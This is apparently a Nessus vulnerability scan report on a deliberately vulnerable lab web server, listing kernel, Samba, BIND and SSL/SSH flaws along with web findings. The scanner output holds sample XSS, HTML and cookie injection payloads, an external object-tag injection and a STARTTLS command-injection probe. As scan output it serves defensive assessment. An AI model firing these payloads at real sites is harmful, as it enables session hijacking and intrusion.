Dan Rosenberg reported errors in the kernel's OSS (Open Sound System) driver for Yamaha FM synthesizer chips. A local user can exploit this to cause memory corruption, causing a denial of service or privilege escalation. (CVE-2011-1477)

Ben Hutchings reported a flaw in the kernel's handling of corrupt LDM partitions. A local user could exploit this to cause a denial of service or escalate privileges. (CVE-2011-2182)

A flaw was discovered in the Linux kernel's NFSv4 (Network File System version 4) file system. A local, unprivileged user could use this flaw to cause a denial of service by creating a file in a NFSv4 filesystem.

(CVE-2011-4324)

A flaw was found in how the linux kernel handles user-space held futexs. An unprivileged user could exploit this flaw to cause a denial of service or possibly elevate privileges. (CVE-2012-0028).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1390-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0016

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 47007 |
| BID | 47009 |
| BID | 50798 |
| BID | 51947 |
| CVE | CVE-2011-1476 |
| CVE | CVE-2011-1477 |
| CVE | CVE-2011-2182 |
| CVE | CVE-2011-4324 |
| CVE | CVE-2012-0028 |
| XREF | USN:1390-1 |

## Plugin Information

Published: 2012/03/07, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-31.99


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 59816 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1493-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Stephan Mueller reported a flaw in the Linux kernel's dl2k network driver's handling of ioctls. An unprivileged local user could leverage this flaw to cause a denial of service. (CVE-2012-2313)

Timo Warns reported multiple flaws in the Linux kernel's hfsplus filesystem. An unprivileged local user could exploit these flaws to gain root system priviliges. (CVE-2012-2319).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1493-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.0016

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2012-2313 |
| CVE | CVE-2012-2319 |
| XREF | USN:1493-1 |

## Plugin Information

Published: 2012/07/01, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-31.102


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 59985 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-1507-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

A flaw was found in the Linux kernel's KVM (Kernel Virtual Machine) virtual cpu setup. An unprivileged local user could exploit this flaw to crash the system leading to a denial of service. (CVE-2012-1601)

An error was found in the Linux kernel's IPv6 netfilter when connection tracking is enabled. A remote attacker could exploit this flaw to crash a system if it is using IPv6 with the nf_contrack_ipv6 kernel module loaded. (CVE-2012-2744).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1507-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

3.6

### EPSS Score

0.0062

### CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

### CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 53488 |
| BID | 54367 |
| CVE | CVE-2012-1601 |
| CVE | CVE-2012-2744 |
| XREF | USN:1507-1 |

## Plugin Information

Published: 2012/07/17, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-32.104


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 33093 - Ubuntu 8.04 LTS : linux vulnerabilities (USN-614-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that PowerPC kernels did not correctly handle reporting certain system details. By requesting a specific set of information, a local attacker could cause a system crash resulting in a denial of service. (CVE-2007-6694)

A race condition was discovered between dnotify fcntl() and close() in the kernel. If a local attacker performed malicious dnotify requests, they could cause memory consumption leading to a denial of service, or possibly send arbitrary signals to any process. (CVE-2008-1375)

On SMP systems, a race condition existed in fcntl(). Local attackers could perform malicious locks, causing system crashes and leading to a denial of service. (CVE-2008-1669)

The tehuti network driver did not correctly handle certain IO functions. A local attacker could perform malicious requests to the driver, potentially accessing kernel memory, leading to privilege escalation or access to private system information. (CVE-2008-1675).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/614-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0144

### CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

## References

| | |
|---|---|
| CVE | CVE-2007-6694 |
| CVE | CVE-2008-1375 |
| CVE | CVE-2008-1669 |
| CVE | CVE-2008-1675 |
| XREF | USN:614-1 |
| XREF | CWE:94 |
| XREF | CWE:362 |
| XREF | CWE:399 |

## Plugin Information

Published: 2008/06/04, Modified: 2021/01/19

## Plugin Output

tcp/0

```

    - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
    - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-18.32

    - Installed package : linux-ubuntu-modules-2.6.24-16-server_2.6.24-16.23
    - Fixed package     : linux-ubuntu-modules-2.6.24-<ANY>-server_2.6.24-18.26


  Because Debian/Ubuntu linux packages increment their package name numbers as
  well as their version numbers, an update may not be available for the
  current kernel level, but the package will still be vulnerable. You may
  need to update the kernel level in order to get the latest security
  fixes available.
```

## 62474 - Ubuntu 8.04 LTS : linux vulnerability (USN-1598-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

An error was discovered in the Linux kernel's network TUN/TAP device implementation. A local user with access to the TUN/TAP interface (which is not available to unprivileged users until granted by a root user) could exploit this flaw to crash the system or potential gain administrative privileges.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1598-1/

### Solution

Update the affected packages.

### Risk Factor

High

### VPR Score

6.7

### EPSS Score

0.0009

### CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 53721 |
| CVE | CVE-2012-2136 |
| XREF | USN:1598-1 |

## Plugin Information

Published: 2012/10/10, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-32.105


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 58131 - Ubuntu 8.04 LTS : samba vulnerability (USN-1374-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Andy Davis discovered that Samba incorrectly handled certain AndX offsets. A remote attacker could send a specially crafted request to the server and cause a denial of service, or possibly execute arbitrary code.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1374-1/

### Solution

Update the affected samba package.

### Risk Factor

High

### VPR Score

5.9

### EPSS Score

0.489

### CVSS v2.0 Base Score

7.9 (CVSS2#AV:A/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 52103 |
| CVE | CVE-2012-0870 |
| XREF | USN:1374-1 |

## Plugin Information

Published: 2012/02/27, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : samba_3.0.20-0.1ubuntu1
  - Fixed package     : samba_3.0.28a-1ubuntu4.17
```

## 12085 - Apache Tomcat Default Files

### Synopsis

The remote web server contains default files.

### Description

The default error page, default index page, example JSPs and/or example servlets are installed on the remote Apache Tomcat server. These files should be removed as they may help an attacker uncover information about the remote Tomcat install or host itself.

### See Also

http://www.nessus.org/u?4cb3b4dd

https://www.owasp.org/index.php/Securing_tomcat

### Solution

Delete the default index page and remove the example JSP and servlets. Follow the Tomcat or OWASP instructions to replace or modify the default error page.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2004/03/02, Modified: 2024/09/03

### Plugin Output

tcp/8180/www

```
The following default files were found :

http://192.168.50.101:8180/tomcat-docs/index.html

The server is not configured to return a custom page in the event of a client requesting a non-
existent resource.
This may result in a potential disclosure of sensitive information about the server to attackers.
```

## 11411 - Backup Files Disclosure

### Synopsis

It is possible to retrieve file backups from the remote web server.

### Description

By appending various suffixes (ie: .old, .bak, ~, etc...) to the names of various files on the remote host, it seems possible to retrieve their contents, which may result in disclosure of sensitive information.

### See Also

http://www.nessus.org/u?8f3302c6

### Solution

Ensure the files do not contain any sensitive information, such as credentials to connect to a database, and delete or protect those files that should not be accessible.

### Risk Factor

Medium

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2003/03/17, Modified: 2023/07/10

### Plugin Output

tcp/80/www

```
It is possible to read the following backup files :

  - File : /twiki/bin/view/Main/WebHome~
    URL  : http://192.168.50.101/twiki/bin/view/Main/WebHome~

  - File : /twiki/bin/search/Main/SearchResult~
    URL  : http://192.168.50.101/twiki/bin/search/Main/SearchResult~
```

## 40984 - Browsable Web Directories

### Synopsis

Some directories on the remote web server are browsable.

### Description

Multiple Nessus plugins identified directories on the web server that are browsable.

### See Also

http://www.nessus.org/u?0a35179e

### Solution

Make sure that browsable directories do not leak confidential information or give access to sensitive resources. Additionally, use access restrictions or disable directory indexing for any that do.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2009/09/15, Modified: 2021/01/19

### Plugin Output

tcp/80/www

```
The following directories are browsable :

http://192.168.50.101/dav/
http://192.168.50.101/dvwa/dvwa/
http://192.168.50.101/dvwa/dvwa/css/
http://192.168.50.101/dvwa/dvwa/images/
http://192.168.50.101/dvwa/dvwa/includes/
http://192.168.50.101/dvwa/dvwa/includes/DBMS/
http://192.168.50.101/dvwa/dvwa/js/
http://192.168.50.101/mutillidae/documentation/
http://192.168.50.101/mutillidae/styles/
http://192.168.50.101/mutillidae/styles/ddsmoothmenu/
```

```
http://192.168.50.101/test/
http://192.168.50.101/test/testoutput/
```

## 44136 - CGI Generic Cookie Injection Scripting

### Synopsis

The remote web server is prone to cookie injection attacks.

### Description

The remote web server hosts at least one CGI script that fails to adequately sanitize request strings with malicious JavaScript.

By leveraging this issue, an attacker may be able to inject arbitrary cookies. Depending on the structure of the web application, it may be possible to launch a 'session fixation' attack using this mechanism.

Please note that :

- Nessus did not check if the session fixation attack is feasible.

- This is not the only vector of session fixation.

### See Also

https://en.wikipedia.org/wiki/Session_fixation

https://www.owasp.org/index.php/Session_Fixation

http://www.acros.si/papers/session_fixation.pdf

http://projects.webappsec.org/w/page/13246960/Session%20Fixation

### Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

### Risk Factor

Medium

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

### References

| | |
|---|---|
| XREF | CWE:472 |
| XREF | CWE:642 |
| XREF | CWE:715 |
| XREF | CWE:722 |

### Plugin Information

Published: 2010/01/25, Modified: 2022/04/11

## Plugin Output

### tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cookie manipulation :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<script>document.cookie="testsjag=8477;"</script>

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<script>document.cookie="t
estsjag=8477;"</script>">Toggle Hints</a></td><td><a href="./index.
php?do=toggle-security&page=<script>document.cookie="testsjag=8477;"</sc
ript>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------
```

## 49067 - CGI Generic HTML Injections (quick test)

### Synopsis

The remote web server may be prone to HTML injections.

### Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML to be executed in a user's browser within the security context of the affected site.

The remote web server may be vulnerable to IFRAME injections or cross-site scripting attacks :

- IFRAME injections allow 'virtual defacement' that might scare or anger gullible users. Such injections are sometimes implemented for 'phishing' attacks.

- XSS are extensively tested by four other scripts.

- Some applications (e.g. web forums) authorize a subset of HTML without any ill effect. In this case, ignore this warning.

### See Also

http://www.nessus.org/u?602759bc

### Solution

Either restrict access to the vulnerable application or contact the vendor for an update.

### Risk Factor

Medium

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

### References

| | |
|---|---|
| XREF | CWE:80 |
| XREF | CWE:86 |

### Plugin Information

Published: 2010/09/01, Modified: 2021/01/19

### Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to HTML injection :

+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI :

/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template=<<<<"p
alugz%20>>>

-------- output --------
<html><body>
<h1>TWiki Installation Error</h1>
Template file <<<<"palugz >>>.tmpl not found or template directory
/var/www/twiki/templates not found.<p />
Check the $templateDir variable in TWiki.cfg.
------------------------

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<<<<"palugz%20>>>

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<<<<"palugz >>>">Toggle Hi
nts</a></td><td><a href="./index.php?do=toggle-security&page=<<<<"p
alugz >>>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.50.101/mutillidae/?page=<<<<"palugz%20>>>
```

## 39466 - CGI Generic XSS (quick test)

### Synopsis

The remote web server is prone to cross-site scripting attacks.

### Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site.

These XSS are likely to be 'non persistent' or 'reflected'.

### See Also

https://en.wikipedia.org/wiki/Cross_site_scripting#Non-persistent

http://www.nessus.org/u?ea9a0369

http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting

### Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address any cross-site scripting vulnerabilities.

### Risk Factor

Medium

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

### References

| | |
|---|---|
| XREF | CWE:20 |
| XREF | CWE:74 |
| XREF | CWE:79 |
| XREF | CWE:80 |
| XREF | CWE:81 |
| XREF | CWE:83 |
| XREF | CWE:86 |
| XREF | CWE:116 |
| XREF | CWE:442 |
| XREF | CWE:692 |
| XREF | CWE:712 |
| XREF | CWE:722 |

| | |
|---|---|
| XREF | CWE:725 |
| XREF | CWE:751 |
| XREF | CWE:801 |
| XREF | CWE:811 |
| XREF | CWE:928 |
| XREF | CWE:931 |

## Plugin Information

Published: 2009/06/19, Modified: 2022/04/11

## Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cross-site scripting (quick test) :

+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI :

/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template="><obj
ect%20type="text/html"%20data="http://www.example.com/include.html"></ob
ject>

-------- output --------
<html><body>
<h1>TWiki Installation Error</h1>
Template file "><object type="text/html" data="http://www.example.com/in
clude.html"></object>.tmpl not found or template directory
/var/www/twiki/templates not found.<p />
Check the $templateDir variable in TWiki.cfg.
------------------------

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<IMG%20SRC="javascript:alert(104);">

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<IMG SRC="javascript:alert
(104);">">Toggle Hints</a></td><td><a href="./index.php?do=toggle-s
ecurity&page=<IMG SRC="javascript:alert(104);">">Toggle Security</a></td
>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.50.101/mutillidae/?page=<IMG%20SRC="javascript:alert(104);">
```

## 11213 - HTTP TRACE / TRACK Methods Allowed

### Synopsis

Debugging functions are enabled on the remote web server.

### Description

The remote web server supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods that are used to debug web server connections.

### See Also

http://www.nessus.org/u?e979b5cb

http://www.apacheweek.com/issues/03-01-24

https://download.oracle.com/sunalerts/1000718.1.html

### Solution

Disable these HTTP methods. Refer to the plugin output for more information.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

### CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

4.0

### EPSS Score

0.524

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 9506 |
| BID | 9561 |
| BID | 11604 |
| BID | 33374 |
| BID | 37995 |
| CVE | CVE-2003-1567 |
| CVE | CVE-2004-2320 |
| CVE | CVE-2010-0386 |
| XREF | CERT:288308 |
| XREF | CERT:867593 |
| XREF | CWE:16 |
| XREF | CWE:200 |

## Plugin Information

Published: 2003/01/23, Modified: 2024/04/09

## Plugin Output

tcp/80/www

```

To disable these methods, add the following lines for each virtual
host in your configuration file :

    RewriteEngine on
    RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
    RewriteRule .* - [F]

Alternatively, note that Apache versions 1.3.34, 2.0.55, and 2.2
support disabling the TRACE method natively via the 'TraceEnable'
directive.

Nessus sent the following TRACE request : \n\n------------------------------ snip
 ------------------------------\nTRACE /Nessus256346328.html HTTP/1.1
Connection: Close
Host: 192.168.50.101
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

------------------------------ snip ------------------------------\n\nand received the
 following response from the remote server :\n\n------------------------------ snip
 ------------------------------\nHTTP/1.1 200 OK
Date: Tue, 23 Sep 2025 18:58:08 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: message/http


TRACE /Nessus256346328.html HTTP/1.1
Connection: Keep-Alive
```

```
Host: 192.168.50.101
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

------------------------------ snip ------------------------------\n
```

## 139915 - ISC BIND 9.x < 9.11.22, 9.12.x < 9.16.6, 9.17.x < 9.17.4 DoS

### Synopsis

The remote name server is affected by a denial of service vulnerability.

### Description

According to its self-reported version number, the installation of ISC BIND running on the remote name server is version 9.x prior to 9.11.22, 9.12.x prior to 9.16.6 or 9.17.x prior to 9.17.4. It is, therefore, affected by a denial of service (DoS) vulnerability due to an assertion failure when attempting to verify a truncated response to a TSIG-signed request. An authenticated, remote attacker can exploit this issue by sending a truncated response to a TSIG-signed request to trigger an assertion failure, causing the server to exit.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

### See Also

https://kb.isc.org/docs/cve-2020-8622

### Solution

Upgrade to BIND 9.11.22, 9.16.6, 9.17.4 or later.

### Risk Factor

Medium

### CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

### CVSS v3.0 Temporal Score

5.7 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

4.4

### EPSS Score

0.0045

### CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:P)

## CVSS v2.0 Temporal Score

3.0 (CVSS2#E:U/RL:OF/RC:C)

## STIG Severity

I

## References

| | |
|---|---|
| CVE | CVE-2020-8622 |
| XREF | IAVA:2020-A-0385-S |

## Plugin Information

Published: 2020/08/27, Modified: 2021/06/03

## Plugin Output

udp/53/dns

```
  Installed version : 9.4.2
  Fixed version     : 9.11.22, 9.16.6, 9.17.4 or later
```

## 136808 - ISC BIND Denial of Service

### Synopsis

The remote name server is affected by an assertion failure vulnerability.

### Description

A denial of service (DoS) vulnerability exists in ISC BIND versions 9.11.18 / 9.11.18-S1 / 9.12.4-P2 / 9.13 / 9.14.11 / 9.15 / 9.16.2 / 9.17 / 9.17.1 and earlier. An unauthenticated, remote attacker can exploit this issue, via a specially-crafted message, to cause the service to stop responding.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

### See Also

https://kb.isc.org/docs/cve-2020-8617

### Solution

Upgrade to the patched release most closely related to your current version of BIND.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)

### CVSS v3.0 Temporal Score

5.3 (CVSS:3.0/E:P/RL:O/RC:C)

### VPR Score

4.4

### EPSS Score

0.9228

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

### STIG Severity

I

### References

| | |
|---|---|
| CVE | CVE-2020-8617 |
| XREF | IAVA:2020-A-0217-S |

### Plugin Information

Published: 2020/05/22, Modified: 2023/03/23

### Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version     : 9.11.19
```

## 46803 - PHP expose_php Information Disclosure

### Synopsis

The configuration of PHP on the remote host allows disclosure of sensitive information.

### Description

The PHP install on the remote server is configured in a way that allows disclosure of potentially sensitive information to an attacker through a special URL. Such a URL triggers an Easter egg built into PHP itself.

Other such Easter eggs likely exist, but Nessus has not checked for them.

### See Also

https://www.0php.com/php_easter_egg.php

https://seclists.org/webappsec/2004/q4/324

### Solution

In the PHP configuration file, php.ini, set the value for 'expose_php' to 'Off' to disable this behavior. Restart the web server daemon to put this change into effect.

### Risk Factor

Medium

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2010/06/03, Modified: 2022/04/11

### Plugin Output

tcp/80/www

```
Nessus was able to verify the issue using the following URL :

  http://192.168.50.101/dvwa/dvwa/includes/DBMS/DBMS.php/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
```

## 57608 - SMB Signing not required

### Synopsis

Signing is not required on the remote SMB server.

### Description

Signing is not required on the remote SMB server. An unauthenticated, remote attacker can exploit this to conduct man-in-the-middle attacks against the SMB server.

### See Also

http://www.nessus.org/u?df39b8b3

http://technet.microsoft.com/en-us/library/cc731957.aspx

http://www.nessus.org/u?74b80723

https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html

http://www.nessus.org/u?a3cac4ea

### Solution

Enforce message signing in the host's configuration. On Windows, this is found in the policy setting 'Microsoft network server: Digitally sign communications (always)'. On Samba, the setting is called 'server signing'. See the 'see also' links for further details.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

### CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### Plugin Information

Published: 2012/01/19, Modified: 2022/10/05

Plugin Output

tcp/445/cifs

## 52611 - SMTP Service STARTTLS Plaintext Command Injection

### Synopsis

The remote mail service allows plaintext command injection while negotiating an encrypted communications channel.

### Description

The remote SMTP service contains a software flaw in its STARTTLS implementation that could allow a remote, unauthenticated attacker to inject commands during the plaintext protocol phase that will be executed during the ciphertext protocol phase.

Successful exploitation could allow an attacker to steal a victim's email or associated SASL (Simple Authentication and Security Layer) credentials.

### See Also

https://tools.ietf.org/html/rfc2487

https://www.securityfocus.com/archive/1/516901/30/0/threaded

### Solution

Contact the vendor to see if an update is available.

### Risk Factor

Medium

### VPR Score

7.3

### EPSS Score

0.6945

### CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:N)

### CVSS v2.0 Temporal Score

3.1 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 46767 |

| | |
|---|---|
| CVE | CVE-2011-0411 |
| CVE | CVE-2011-1430 |
| CVE | CVE-2011-1431 |
| CVE | CVE-2011-1432 |
| CVE | CVE-2011-1506 |
| CVE | CVE-2011-2165 |
| XREF | CERT:555316 |

## Plugin Information

Published: 2011/03/10, Modified: 2019/03/06

## Plugin Output

tcp/25/smtp

```
Nessus sent the following two commands in a single packet :

  STARTTLS\r\nRSET\r\n

And the server sent the following two responses :

  220 2.0.0 Ready to start TLS
  250 2.0.0 Ok
```

## 90317 - SSH Weak Algorithms Supported

### Synopsis

The remote SSH server is configured to allow weak encryption algorithms or no algorithm at all.

### Description

Nessus has detected that the remote SSH server is configured to use the Arcfour stream cipher or no cipher at all. RFC 4253 advises against using Arcfour due to an issue with weak keys.

### See Also

https://tools.ietf.org/html/rfc4253#section-6.3

### Solution

Contact the vendor or consult product documentation to remove the weak ciphers.

### Risk Factor

Medium

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2016/04/04, Modified: 2016/12/14

### Plugin Output

tcp/22/ssh

```
The following weak server-to-client encryption algorithms are supported :

  arcfour
  arcfour128
  arcfour256

The following weak client-to-server encryption algorithms are supported :

  arcfour
  arcfour128
  arcfour256
```

## 31705 - SSL Anonymous Cipher Suites Supported

### Synopsis

The remote service supports the use of anonymous SSL ciphers.

### Description

The remote host supports the use of anonymous SSL ciphers. While this enables an administrator to set up a service that encrypts traffic without having to generate and configure SSL certificates, it offers no way to verify the remote host's identity and renders the service vulnerable to a man-in-the-middle attack.

Note: This is considerably easier to exploit if the attacker is on the same physical network.

### See Also

http://www.nessus.org/u?3a040ada

### Solution

Reconfigure the affected application if possible to avoid use of weak ciphers.

### Risk Factor

Low

### CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

### CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

4.4

### EPSS Score

0.027

### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

### CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 28482 |
| CVE | CVE-2007-1858 |

## Plugin Information

Published: 2008/03/28, Modified: 2023/10/27

## Plugin Output

tcp/25/smtp

```
The following is a list of SSL anonymous ciphers supported by the remote TCP server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EXP-ADH-DES-CBC-SHA           0x00, 0x19       DH(512)       None     DES-CBC(40)
 SHA1      export
